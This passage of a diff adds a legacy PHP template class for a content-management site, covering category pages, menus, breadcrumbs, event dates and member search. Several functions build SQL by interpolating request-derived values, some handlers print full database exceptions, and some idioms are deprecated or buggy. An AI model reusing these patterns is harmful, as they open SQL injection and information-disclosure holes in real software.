+        * @param integer $width = NULL :
+        *
+        * @uses GLM_TOOLBOX::build_picklist()
+        *
+        * @return string
+        * @access  public
+        */
+       function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+       {
+               return GLM_TOOLBOX::build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL );
+       }
+
+       //      }}}
+
+       //      {{{ clean_text()
+
+       /**
+       * clean_text:get rid of single br or p br tags left from htmlarea when textarea is empty.
+       * @param string $output:
+       *
+       * @return string text cleaned
+       * @access  public
+       **/
+       function clean_text($output)
+       {
+               $output = str_replace("<br />","<br>",$output);
+               $output = str_replace("<p><br></p>","",$output);
+               return $output;
+       }
+
+       //      }}}
+       //      {{{     convert_to_thread()
+
+       /**
+        * convert_to_thread:
+        *
+        * @param array $threads:
+        * @param array $thread:
+        * @uses GLM_TEMPLATE::$thread_count
+        * @uses GLM_TEMPLATE::$whole_thread
+        * @uses GLM_TEMPLATE::get_seo_url()
+        * @uses GLM_TEMPLATE::convert_to_thread()
+        *
+        * @return string
+        * @access public
+        */
+       function convert_to_thread($threads, $thread)
+       {
+               foreach($thread as $parent=>$value) {
+                       $this->whole_thread .= str_repeat(".",$this->thread_count);
+                       $this->whole_thread .= "|".htmlentities($value['category'],ENT_QUOTES,'UTF-8');
+                       $url = $this->get_seo_url( $value['id'] );
+                       $this->whole_thread .= "|$url";
+                       $this->whole_thread .= "\n";
+                       if ($threads[$parent]) {
+                               $this->thread_count++;
+                               GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+                       }
+               }
+               $this->thread_count--;
+               return $this->whole_thread;
+       }
+
+       //      }}}
+
+       //      {{{     has_children()
+
+       /**
+        * has_children: return true or false if this category has sub categories under it.
+        *
+        * @param integer $catid:
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return  string
+        * @access  public
+        */
+       function has_children($catid)
+       {
+               // returns number of children that $catid has
+               $qs = "
+            SELECT count(*)
+              FROM bus_category
+             WHERE parent = $catid {$this-> active_query}";
+               $row=$this->DB->db_auto_get_data($qs);
+               return $row[0]['count'];
+       }
+
+       //      }}}
+       //      {{{ has_subs()
+
+       /**
+        * has_subs:
+        * @param integer $catid:
+        * @param object $DB:
+        *
+        * @uses GLM_TEMPLATE::$active_query
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return  string
+        * @access  public
+        */
+       function has_subs($catid, &$DB)
+       {
+               $sql = "
+            SELECT id
+              FROM bus_category
+             WHERE parent = $catid {$this->active_query}
+             ORDER BY pos";
+               $data = $DB->db_auto_get_data($sql);
+               return !empty($data) ? true : false;
+       }
+
+       //      }}}
+
+       //      {{{ get_all()
+
+       /**
+       * get_all:Does the query and set_data calls boths arrays
+       *
+       * @uses GLM_TEMPLATE::set_data()
+       * @uses GLM_TEMPLATE::$data
+       * @uses GLM_TEMPLATE::$items
+       * @uses GLM_DB::db_auto_get_data()
+       *
+       * @return void
+       * @access public
+       **/
+       function get_all($type = NULL)
+       {
+               $catid = $this->catid;
+               if ($type == 1 || !$type) {
+            $cat_query = "
+            SELECT *
+             FROM bus_category
+            WHERE id = $catid
+         ORDER BY pos";
+            try {
+                $res = $this->set_data($this->dbh->query($cat_query)->fetchAll());
+                $this->data = $res[0];
+            } catch(PDOException $e) {
+                echo '<pre>'.print_r($e, true).'</pre>';
+                die($e->getMessage());
+            }
+               }
+               //$this->img_size = MIDSIZED;
+               //$this->img_size = RESIZED;
+               if ($type == 2 || !$type) {
+            $item_query = "
+            SELECT b.*
+              FROM bus b
+                LEFT OUTER JOIN bus_category_bus bcb ON (bcb.busid = b.id)
+             WHERE bcb.catid = $catid
+          ORDER BY bcb.pos";
+            try {
+                $this->items = $this->set_data($this->dbh->query($item_query)->fetchAll());
+            } catch(PDOException $e) {
+                echo '<pre>'.print_r($e, true).'</pre>';
+                die($e->getMessage());
+            }
+            $file_query = "
+            SELECT *
+             FROM files
+            WHERE bus_id IN ( SELECT bus_id FROM bus_category_bus
+            WHERE catid = ".$this->catid." )
+         ORDER BY bus_id,pos;";
+            try {
+                $file_data = $this->DB->db_auto_get_data($file_query);
+            } catch(PDOException $e) {
+                echo '<pre>'.print_r($e, true).'</pre>';
+                die($e->getMessage());
+            }
+                       if (is_array($file_data)) {
+                               foreach ($file_data as $file_row) {
+                                       $this->item_files[$file_row['bus_id']][] = GLM_TEMPLATE::set_file( $file_row['filename'],$file_row['urltext'] );
+                               }
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ get_ancestors()
+
+       /**
+        * get_ancestors:get the ancestors for this category
+        *
+        * @param integer $catid: catid
+        * @param integer $count: starting counter
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return array
+        * @access  public
+        */
+       function get_ancestors($catid,$count)
+       {
+               if ($count == 0 ) {
+                       unset ($this->ancestors);
+               }
+
+               if ($catid) {
+                       $query = "SELECT        id,category,parent
+                       FROM    bus_category
+                       WHERE   id = ".$catid."
+                       ".$this->active_query;
+                       $res = $this->DB->db_auto_get_data($query);
+                       $id = $res[0]['id'];
+                       $parent = $res[0]['parent'];
+                       $category = $res[0]['category'];
+                       $this->ancestors[$count]['id'] = $id;
+                       $this->ancestors[$count]['label'] = $category;
+
+                       $url = $this->get_seo_url( $id );
+                       $this->ancestors[$count]['link'] = $url;
+                       GLM_TEMPLATE::get_ancestors($parent,$count+1,$conn);
+
+                       return array_reverse($this->ancestors);
+               }
+       }
+
+       //      }}}
+       //      {{{ get_base_url()
+
+       /**
+        * get_base_url: generate the base of the url for the given category id
+        * @param integer $id :
+        *
+        * @return string
+        * @access public
+        */
+       function get_base_url($id)
+       {
+               if ($this->pages[$id]) {
+                       $page = $this->pages[$id];
+               } else {
+                       $page = $this->pages['default'];
+               }
+               if ($GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' &&
+                       $this->catid == 1) {
+                       $page = '';
+               }
+               return $page;
+       }
+
+       //      }}}
+       //      {{{ get_bottom_banner()
+
+       function get_bottom_banner(){
+               $banner = new BANNER_ADS();
+               $banner->get_banners();
+               $out = $banner->show_banners();
+               return $out;
+       }
+
+       //      }}}
+       //      {{{     get_bottom_nav()
+
+       /**
+        * get_bottom_nav: generate a top level only bottom navigation for the pages.
+        *
+        * @param integer $parent=0:
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return  string
+        * @access public
+        */
+       function get_bottom_nav($parent=0)
+       {
+               $out = '';
+               $query = "select id,category,intro from bus_category where id != 1 and parent = $parent ".$this->active_query." order by pos asc";
+               $row = $this->DB->db_auto_get_data( $query );
+               $url = $this->get_seo_url( HOME_ID );
+               $links[] = '<a href="'.$url.'">Home</a>';
+               if (!is_array( $row ) ) {
+                       return false;
+               } else {
+                       $out .= '<div id="nav-bottom">';
+                       for ($i = 0; $i < sizeof($row); $i++) {
+                               $category = htmlentities(strip_tags($row[$i]['category']),ENT_QUOTES,'UTF-8');
+                               $url = $this->get_seo_url( $row[$i]['id'] );
+                               $links[] = '<a href="'.$url.'">'.$category."</a>\n";
+                       }
+                       if (is_array($links)) {
+                               $out .= implode(" | ",$links);
+                       }
+                       $out .= '</div>';
+                       return $out;
+               }
+       }
+
+       //      }}}
+       //      {{{ get_bread_crumbs()
+
+       /**
+        * get_bread_crumbs
+        *
+        * @param mixed $catid
+        * @access public
+        * @return string
+        */
+       function get_bread_crumbs($catid)
+       {
+        static $port_cats;
+               $string = $this->get_ancestors($catid, 0);
+               if (is_array($string)) {
+                       $end = count( $string ) - 1;
+                       if ($this->catid != HOME_ID) {
+                               $outarray[] = '<a href="'.BASE_URL.'">Home</a>';
+                       }
+                       for($i = 0; $i < $end; ++$i) {
+                               $outarray[] = '<a href="'.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+                       }
+            if ($_GET['pcatid']) {
+                if (!$port_cats) {
+                    $port_cats = $this->get_portfolio_categories();
+                }
+                           $outarray[] = $port_cats[$_GET['pcatid']];
+
+            } else {
+                           $outarray[] = $this->get_catheader($catid, &$this->DB);
+            }
+                       if (is_array($outarray) && count($outarray) > 1) {
+                               $out .= implode( " &gt; ", $outarray );
+                       }
+                       if ($out) {
+                               $return = '<div id="breadcrumbs">'.$out.'</div>';
+                       }
+               }
+               return $return;
+       }
+
+       //      }}}
+       //      {{{ get_category()
+
+       /**
+       * get_category: grab just category contents
+       * @param integer $catid: id of bus_category
+       * @param object $DB:
+       * @param boolean $showimg=1: weather or not to show category image
+       * @uses DELUXE_TOOLBOX
+       * @uses HOME_PAGE_EVENTS
+       * @uses GLM_TEMPLATE::clean_text()
+       * @uses GLM_TEMPLATE::get_home_events()
+       *
+       * @return string $output
+       * @access public
+       **/
+       function get_category($showimg = 1, $showdiv = 1)
+       {
+        if ($pageContent = $this->cache->get('page-'.$this->catid, 'Toolbox')) {
+            $sql = "
+            SELECT intro
+              FROM bus_category
+             WHERE id = :id";
+            try {
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(":id", $this->catid, PDO::PARAM_INT);
+                $stmt->execute();
+                $this->data['intro'] = $this->set_header($stmt->fetchColumn());
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+            return $pageContent;
+        } else {
+            if (DELUXE_TOOLBOX) {
+                $this->get_template("cat");
+            }
+            if (!$this->data) {
+                $this->get_all(1);
+            }
+            $data = $this->data;
+            // Setup the section_links boolean var so section links only
+            // show up on correct pages.
+            $this->section_links = ($data['section_links'] == 't')? true: false;
+            if (!$data["image"] && !$data["description"] && !$data["intro"] &&
+                ($this->catid != 1 && HOME_PAGE_EVENTS != true)) {
+                return false;
+            }
+
+            if ($showdiv==1) {
+                $output .= '<div id="category">';
+            }
+
+            if ($this->catid == 1 && HOME_PAGE_EVENTS ) {
+                $output .= $this->get_home_events();
+            }
+
+            if ($data["image"] || $data["description"] || $data["intro"]) {
+            // $output .= $data["intro"] . ' ';
+                if ($showimg == 1) {
+                    $output .= $data["image"] . ' ';
+                }
+                $output .= $data["description"] . ' ';
+            }
+
+            if ($showdiv == 1) {
+                $output .= '</div>';
+            }
+            $output = GLM_TEMPLATE::clean_text($output);
+            $this->cache->save($output, 'page-'.$this->catid, 'Toolbox');
+            return $output;
+        }
+
+       }
+
+       //      }}}
+       //      {{{ get_category_name()
+
+       /**
+        * getCategoryName:
+        * used mostly for getting category name for search engine friendly url's
+        *
+        * @param integer $id:
+        * @param string $table:
+        * @param object &$DB :
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return void
+        * @access public
+        */
+       function get_category_name( $id, $table,&$DB )
+       {
+               if (!is_numeric($id)) {
+                       return false;
+               }
+               if ($table == "class_category") {
+                       $category = "name";
+               } else {
+                       $category = "category";
+               }
+        $query = "
+        SELECT {$category}
+          FROM {$table}
+         WHERE id = :id";
+        try {
+            $stmt = $this->dbh->prepare($query);
+            $stmt->bindParam(":id", $id, PDO::PARAM_INT);
+            $stmt->execute();
+            $data = $stmt->fetchAll();;
+        } catch(PDOException $e) {
+            echo '<pre>'.print_r($e, true).'</pre>';
+            die($e->getMessage());
+        }
+               if (is_array($data)) {
+
+                       $add = '-'.$id;
+                       if ($data[0]['category']) {
+                               $category = $data[0]['category'].$add;
+                       } elseif ($data[0]['name']) {
+                               $category = $data[0]['name'].$add;
+                       } else {
+                               $category = $add;
+                       }
+                       return htmlspecialchars($category);
+               }
+       }
+
+       //      }}}
+       //      {{{ get_catheader()
+
+       /**
+        * get_catheader:output the category name.
+        *
+        * @param integer $catid: The catid for the page
+        * @param object $DB: db obj
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return void
+        * @access  public
+        */
+       function get_catheader($catid,$DB)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               if ($data[0]['category']!="") {
+                       $header = strip_tags($data[0]['category']);
+               } else {
+                       $header = '';
+               }
+               return $header;
+       }
+
+       //      }}}
+       //      {{{ get_catid()
+
+       /**
+        * get_catid: setting catid for class
+     *
+        * We should be using the $_POST or $_GET globals here
+        *
+        * @return int catid
+        * @access public
+        **/
+       function get_catid($catid)
+       {
+               if (is_numeric($_GET['catid'])) {
+                       return $_GET['catid'];
+               } elseif (is_numeric($_POST['catid'])) {
+                       return $_POST['catid'];
+               } else {
+                       return $this->catid = $catid;
+               }
+       }
+
+       //      }}}
+       //      {{{     get_catintro()
+
+       /**
+        * get_catintro: return the category page name.
+        *
+        * @param integer $catid: The catid for the page
+        * @param object $DB: db obj
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return void
+        * @access  public
+        */
+       function get_catintro($catid)
+       {
+               $query = "SELECT intro FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if ($data[0]['intro']!="") {
+                       $header = strip_tags($data[0]['intro']);
+               } else {
+                       $header = '';
+               }
+               return $header;
+       }
+
+       //      }}}
+       //      {{{ get_distance_from_traverse()
+
+       function get_distance_from_traverse( $zipcode ){
+               if (is_numeric( $zipcode ) ){
+                       // zipcode for search is 49684
+                       $tlat = (float)44.77329;
+                       $tlon = (float)-85.70123;
+                       $zipDB =& new GLM_DB();
+                       $zipDB->host = 'ds1';
+                       $zipDB->dbname = 'zip';
+                       $zipDB->pgsql_select( "BEGIN WORK;" );
+                       $query = "
+                SELECT lat, lon, city, state_name
+                  FROM zip
+                 WHERE zipcode = '$zipcode'
+                 order by city_type desc limit 1 offset 0;";
+                       if ($data = $zipDB->pgsql_select( $query ) ){
+                               $lat = (float)$data[0]['lat'];
+                               $lon = (float)$data[0]['lon'];
+                               $city = $data[0]['city'];
+                               $state = $data[0]['state_name'];
+                       }
+
+                       $temp = "(pow(sin( ( ( $tlat * pi()/180.0 ) - ( $lat * pi()/180.0 )) /2.0),2) + cos( ( $lat * pi()/180.0 )) * cos( ( $tlat * pi()/180.0 ) ) * pow(sin( ( ( $tlon * pi()/180.0 ) - ( $lon * pi()/180.0 )) /2.0),2))";
+                       $query = "select ceil(3956 * 2 * atan2(sqrt($temp ),sqrt(1- ($temp) ))) as distance";
+                       if ($zip_data = $zipDB->pgsql_select( $query ) ){
+                               $zipDB->pgsql_select( "ABORT WORK;" );
+                               $zdata['remote_addr'] = $_SERVER['REMOTE_ADDR'];
+                               $zdata['zipcode'] = $zipcode;
+                               $zdata['city'] = $city;
+                               $zdata['state'] = $state;
+                               $this->DB->pgsql_insert( 'zip_dist_form', $zdata, 'zip_dist_form_id', 'zip_dist_form_zip_dist_form_id_seq', true );
+                               return $zip_data[0]['distance'];
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ get_event_date()
+
+       /**
+        * get_event_date: make the event date human readable
+        * @param string $sdate: start date
+        * @param string $edate: end date
+        * @param string $dateType: dateType Postgres,etc
+        *
+        * @return string
+        * @access public
+        */
+       function get_event_date($sdate,$edate,$dateType)
+       {
+               switch($dateType) {
+                       case "Postgres":
+                               if (preg_match("/([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})/",$sdate,$spt)) {
+                                       $mon = $spt[1];
+                                       $day = $spt[2];
+                                       $yr = $spt[3];
+                               }
+
+                               if (preg_match("/([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})/",$edate,$ept)) {
+                                       $mon2 = $ept[1];
+                                       $day2 = $ept[2];
+                                       $yr2 = $ept[3];
+                               }
+                               break;
+
+                       case "timestamp":
+                               $mon = date("m",$sdate);
+                               $day = date("d",$sdate);
+                               $yr = date("Y",$sdate);
+                               $mon2 = date("m",$edate);
+                               $day2 = date("d",$edate);
+                               $yr2 = date("Y",$edate);
+                               break;
+
+               }
+
+               $start = mktime(0,0,0,$mon,$day,$yr);
+               $end = mktime(0,0,0,$mon2,$day2,$yr2);
+               if ($day == $day2 && $mon == $mon2 && $yr == $yr2) {
+                       $dateparam = "F jS, Y";
+                       $date_begin = date($dateparam, $start) ;
+                       $date_end = "";
+               } elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2) {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               } elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2) {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               } elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2) {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               } elseif ($yr == $yr2) {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               } else {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+
+               return $date_begin." ".$date_end;
+       }
+
+       //      }}}
+       // {{{ get_headlines()
+       function get_headlines(){
+               $headlines = array();
+               $query = "
+                       SELECT id,intro,feature_intro,description,image
+                       FROM bus_category
+                       WHERE featured = 't'
+                       ORDER BY parent,pos;";
+               if( $data = $this->DB->pgsql_select( $query ) ){
+                       foreach( $data as $row ){
+                               $headlines[] = array(
+                    'href'   => $this->get_seo_url($row['id']),
+                    'img'    => $row['image'],
+                    'header' => $row['feature_intro'],
+                    'descr'  => GLM_TOOLBOX::make_teaser($row['description'], 150, true));
+                       }
+               }
+               return $headlines;
+       }// }}}
+       // {{{ get_home_events()
+       /**
+       * get_home_events: get events flaged as home events
+       * @param object $DB: DB reference to DB obj
+       *
+       * @uses GLM_TEMPLATE::get_event_date()
+       * @uses GLM_DB::db_auto_get_data()
+       *
+       * @return void
+       * @access public
+       **/
+       public function get_home_events($limit = 3)
+       {
+               $query = "
+                       SELECT id, header, descr, bdate, edate, img,
+                                       to_char(bdate, 'Mon - DDth') AS sdate
+                         FROM event
+                        WHERE visable='t'
+                          AND edate >= current_date
+               AND home='t'
+                        LIMIT $limit
+                       OFFSET 0";
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data)) {
+                       foreach($data as $key => $value) {
+                               $id = $value['id'];
+                               $header = $value['header'];
+                               $title = strip_tags(addslashes($header));
+                               $descr = substr(strip_tags(addslashes($value['descr'])), 0, 50);
+                               $sdate = strtotime($value['bdate']);
+                               $edate = strtotime($value['edate']);
+                               $month = date('n',$sdate);
+                               $year = date('Y',$sdate);
+                               $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+                               $href = BASE_URL.'index.php?catid='.EVENT_PAGE."&amp;month={$month}&amp;year={$year}&amp;eventid={$id}";
+                               $area_events[] = array(
+                                       'href'   => $href,
+                                       'bdate'  => $value['sdate'],
+                                       'dates'  => $dates,
+                                       'header' => $header,
+                                       'descr'  => $descr,
+                               );
+                       }
+                       return $area_events;
+               } else {
+                       return null;
+               }
+       }// }}}
+       //      {{{ get_hotspecials()
+
+       function get_hotspecials(){
+               $query = "
+            SELECT id, intro, feature_intro
+              FROM bus_category
+             WHERE featured = 't'
+             order by parent, pos;";
+               if ($data = $this->DB->pgsql_select( $query ) ){
+                       $out = '<div id="h-hotspecials">
+                               <span class="h-all">Hot specials</span>';
+                       foreach ($data as $row) {
+                               $intro = htmlspecialchars(strip_tags($row['intro']));
+                               $intro_text = '<p>'.htmlspecialchars(strip_tags($row['feature_intro'] ) ).'</p>';
+                               $out .= '<div class="h-hotspecial">
+                                       <a href="'.$this->get_seo_url( $row['id'] ).'">'.$intro.'</a>
+                                       '.$intro_text.'
+                                       </div>';
+                       }
+                       $out .= '</div>';
+               }
+               return $out;
+       }
+
+       //      }}}
+       //      {{{ get_main_nav()
+
+       function get_main_nav()
+       {
+        if ($bottomNav = $this->cache->get('bottomNav', 'Toolbox')) {
+            return $bottomNav;
+        } else {
+            $query = "select id,category
+                from bus_category
+                where parent = 0
+                and id not in (".HOME_ID.",".MEMBERS_CATEGORY.",7,8,9)
+                and active = 't'
+                order by pos";
+            if ($data = $this->DB->pgsql_select( $query ) ){
+                $out = '<ul id="nav">';
+                foreach( $data as $row ){
+                    $out .= '<li><a href="'.$this->get_seo_url( $row['id'] ).'">'.$row['category'].'</a></li>';
+                }
+                $out .= '</ul>';
+            }
+            $this->cache->save($out, 'bottomNav', 'Toolbox');
+            return $out;
+        }
+       }
+
+       //      }}}
+       //      {{{     get_menu_array()
+
+
+       /**
+        * get_menu_array: like get_menu_string but returns an array
+        *
+        * @uses GLM_TEMPLATE::sort_childs()
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return  string
+        * @access  public
+        */
+       function get_menu_array()
+       {
+               $query = "
+            SELECT id, parent, category
+              FROM bus_category
+             WHERE id != 0 {$this->active_query}
+             order by parent, pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               return $newdata;
+       }
+
+       //      }}}
+       //      {{{ get_main_cats()
+
+       /**
+        * get_main_cats
+        *
+        * @access public
+        * @return string
+        */
+       function get_main_cats()
+       {
+               static $main_cats_array;
+               if (!is_array($main_cats_array)) {
+                       $query = "
+                SELECT id, category
+                  FROM bus_category
+                 WHERE parent = 0
+                 order by pos;";
+                       if ($data = $this->DB->db_auto_get_data( $query ) ) {
+                               foreach ($data as $row) {
+                                       $main_cats_array[$row['id']] = htmlentities(strip_tags($row['category']),ENT_QUOTES,'UTF-8');
+                               }
+                       }
+               }
+               return $main_cats_array;
+       }
+
+       //      }}}
+       //      {{{ get_menu_string()
+
+       /**
+        * get_menu_string:get categories for the phplayermenu
+        *
+        * @uses GLM_TEMPLATE::sort_childs()
+        * @uses GLM_TEMPLATE::convert_to_thread()
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return string
+        * @access  public
+        **/
+       function get_menu_string()
+       {
+               $query = "
+            SELECT id, parent, category
+              FROM bus_category
+             WHERE id != 0 {$this->active_query}
+             ORDER BY parent, pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+               return $string;
+       }
+
+       //      }}}
+       //      {{{ get_id_from_name()
+
+       /**
+        * getIdFromName:
+        *
+        * @param string $name:
+        * @param string $table:
+        * @param object $DB:
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @deprecated Don't use this!  THIS IS A WARNING (this funcion will be gone next time)
+        * @return string
+        * @access  public
+        */
+       function get_id_from_name( $name, $table, &$DB)
+       {
+               if ($name == "") {
+                       return 0;
+               }
+               if (is_numeric($name)) {
+                       return $name;
+               }
+        $pattern = "/(.*)/$/";
+               if (preg_match($pattern, $name, $tmp)) {
+                       $name = $tmp[1];
+               }
+               $category = "category";
+        $pattern = "/-([0-9]*)$/";
+               if (preg_match($pattern, $name, $tmp)) {
+                       $id = $tmp[1];
+                       return $id;
+               }
+               // should already be returning id at this point
+               // putting the _id on the end of all url's as
+               // the other way is very inifiecent for the database.
+               $name = str_replace( "-"," ",$name );
+               $query = "select id from $table where trim(lower(replace(replace(replace(replace(replace(replace($category,'\'',''),'/',''),'-',' '),'#',''),'&',''),'?',''))) = '".trim(strtolower($name))."'";
+               $data = $DB->db_auto_get_data($query);
+               if (is_array($data)) {
+                       foreach ($data as $key => $val) {
+                               $catid = $val['id'];
+                       }
+                       return $catid;
+               } else {
+                       return 0;
+               }
+       }
+
+       //      }}}
+       //      {{{ get_id_from_path_info()
+
+       /**
+        * get_id_from_path_info: takes the path_info and gets a catid from bus_category table
+        * NOTE: not used.
+        *
+        * @deprecated using .htaccess file for this when using seo url's
+        * @return int catid
+        * @access public
+        **/
+       function get_id_from_path_info()
+       {
+               return false;
+       }
+
+       //      }}}
+       //      {{{ get_image_path()
+
+       /**
+        * get_image_path: get image path from the size used
+        *
+        * @uses MIDSIZED_PATH
+        * @uses RESIZED_PATH
+        * @uses THUMB_PATH
+        *
+        * @return path for images
+        * @access public
+        **/
+       function get_image_path()
+       {
+               if (strstr($this->img_size, 'midsized/')) {
+                       return MIDSIZED_PATH;
+               }
+               if (strstr($this->img_size,'resized/')) {
+                       return RESIZED_PATH;
+               }
+               if (strstr($this->img_size,'thumb/')) {
+                       return THUMB_PATH;
+               }
+       }
+
+       //      }}}
+       //      {{{ get_listings()
+
+       /**
+        * template_parser:This function creates data
+        * and items arrays and does the output for the page.
+        *
+        * @uses DELUXE_TOOLBOX
+        * @uses GLM_TEMPLATE::$items
+        * @uses GLM_TEMPLATE::get_template()
+        * @uses GLM_TEMPLATE::get_all()
+        * @uses GLM_TEMPLATE::load_static_page()
+        * @uses GLM_TEMPLATE::clean_text()
+        * @uses GLM_TEMPLATE::$item_files
+        *
+        * @return void
+        * @access public
+        */
+       function get_listings()
+       {
+        if ($paragraphContent = $this->cache->get('paragraphs-'.$this->catid, 'Toolbox')) {
+            return $paragraphContent;
+        } else {
+            // grab category and items into data and items respectfully
+            if (DELUXE_TOOLBOX ) {
+                $this->get_template( "list" );
+            }
+
+            if (!is_array($this->items)) {
+                $this->get_all(2);
+            }
+
+            // load any static category page from the static directory
+            // hard codded content would have $catid.phtml page for it
+            //$output .= $this->load_static_page();
+            if (is_array($this->items)) {
+                foreach($this->items as $key=>$val) {
+                    // building array with links to each paragraph
+                    $name = trim(strip_tags($val["name"]));
+                    if ($name && $this->section_links) {
+                        $anchors[] = '<a href="#sect-'.$val['id'].'">'.strip_tags($val["name"]).'</a>';
+                    }
+                    // items can be moved around as needed
+                    $output .= '<div class="listing" id="sect-'.$val['id'].'">'."\n";
+                    $output .= $val["name"];
+                    $output .= $val["image"];
+                    $output .= $val["address"];
+                    $output .= $val["description"];
+                    $output .= $val["contactname"];
+                    $output .= $val["email"];
+                    $output .= $val["phone"];
+                    $output .= $val["fax"];
+                    $output .= $val["url"];
+                    if (is_array( $this->item_files[$val['id']] ) ) {
+                        $output .= implode("",$this->item_files[$val['id']]);
+                    }
+                    if ($val['back_to_top'] == 't') {
+                        $output .= '<a href="#toolbox">Back to Top</a>';
+                    }
+                    $output .= "</div>"."\n";
+                }
+                // assign array of links to $this->sectionAnchors
+                $this->sectionAnchors = $anchors;
+            }
+            $output = GLM_TEMPLATE::clean_text($output);
+            $this->cache->save($output, 'paragraphs-'.$this->catid, 'Toolbox');
+            return $output;
+        }
+       }
+
+       //      }}}
+       //      {{{ get_page()
+
+       /**
+        * get_page: replacing template_parser with get_page function
+        *
+        * @uses GLM_TEMPLATE::get_category() For building the main page section
+        * @uses GLM_TEMPLATE::get_listings() For building out the paragraph sections
+        *
+        * @return  string $out NEED to echo results of this function
+        * @access  public
+        */
+       function get_page($showimg = 1, $showdiv = 1)
+       {
+               if ($_REQUEST['sitemap'] == 1) {
+                       return $this->get_sitemap();
+               } elseif (is_numeric($_REQUEST['zipcode'])) {
+                       $this->distance = '<div>'.$this->get_distance_from_traverse($_REQUEST['zipcode']).' miles from '.$_REQUEST['zipcode'].'</div>';
+               }
+
+               if ($this->page_status != 'Good') {
+                       return '<h1>Sorry this page is Down!</h1>';
+               }
+
+               if (GOOGLE_SEARCH && $_REQUEST['query']) {
+                       $out = '<div id="searchcontrol"></div>';
+               } elseif (is_numeric($_REQUEST['member_id']) &&
+                                 !$this->Member->memberSections[$this->catid]) {
+                       $out = $this->load_static_page();
+               } elseif (MEMBERS_DB && $this->Member->memberSections[$this->catid]) {
+                       if (!$_REQUEST['member_id'] && !$_REQUEST['search'] &&
+                                       !isset($_REQUEST['start'])) {
+                       //      $out .= $this->get_bread_crumbs($this->catid);
+                       //      $out .= $this->get_category($showimg,0);
+                $pageHeader  = $this->data['intro'];
+                $out .= '<div id="category">';
+                $out .= $pageHeader;
+                $out .= $category;
+                $out .= '</div>';
+                       }
+
+            //  application configuration
+            $conf = new Config;
+            $root =& $conf->parseConfig(BASE . 'Toolkit/Members/members.ini', 'IniFile');
+
+            if (is_numeric($_GET['member_id'])) {
+                try {
+                    $profile = new Toolkit_Members_ProfilePage(
+                                               $this->dbh,
+                        new Toolkit_Image_Server(),
+                        $_GET['member_id']
+                    );
+                    $profile->setCatId($this->catid);
+                    $profile->setConfig($root);
+                    $flexy = new HTML_Template_Flexy(Toolkit_Members::getFlexyOptions());
+                    $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+                    $out .= $profile->toHtml($flexy, $cache, MEMBER_RESIZED);
+                } catch (PEAR_Exception $e) {
+                    return Toolkit_Common::handleError($e);
+                }
+            } elseif (isset($_GET['search']) || $this->Member->hideUserSearchForm()) {
+                $searchList = new Toolkit_Members_SearchList(
+                                       $this->dbh,
+                    50,
+                    null,
+                    null,
+                    true
+                );
+
+                $searchList->setConfig($root);
+                $searchList->setQuery();
+                $searchList->setDefaultSort(array('member_name' => 'ASC'));
+                //  rendering engine to use
+                $rEngine = new Structures_DataGrid_Renderer_Flexy();
+                //  template options to use for template engine
+                $tplOpts  = Toolkit_Members::getFlexyOptions();
+                //  templating  engine to use
+                $tEngine = new HTML_Template_Flexy($tplOpts);
+                $rEngine->setContainer($tEngine);
+
+                $out .= $searchList->toHtml($rEngine);
+            } else {
+                $action = BASE_URL . "index.php?catid={$this->catid}";
+                $form = new Toolkit_Members_UserSearchForm(
+                                       $this->dbh,
+                    'SearchForm',
+                    'get',
+                    $action,
+                    null,
+                    null,
+                    true
+                );
+                $res = $form->setCatId($this->catid);
+                if (!PEAR::isError($res)) {
+                    $form->setPageMemberCategories();
+                    $form->configureForm($root);
+                    $out .= $form->toHtml();
+                } else {
+                    return Toolkit_Common::handleError($res);
+                }
+            }
+                       if (!$_REQUEST['member_id'] && !$_REQUEST['search'] &&
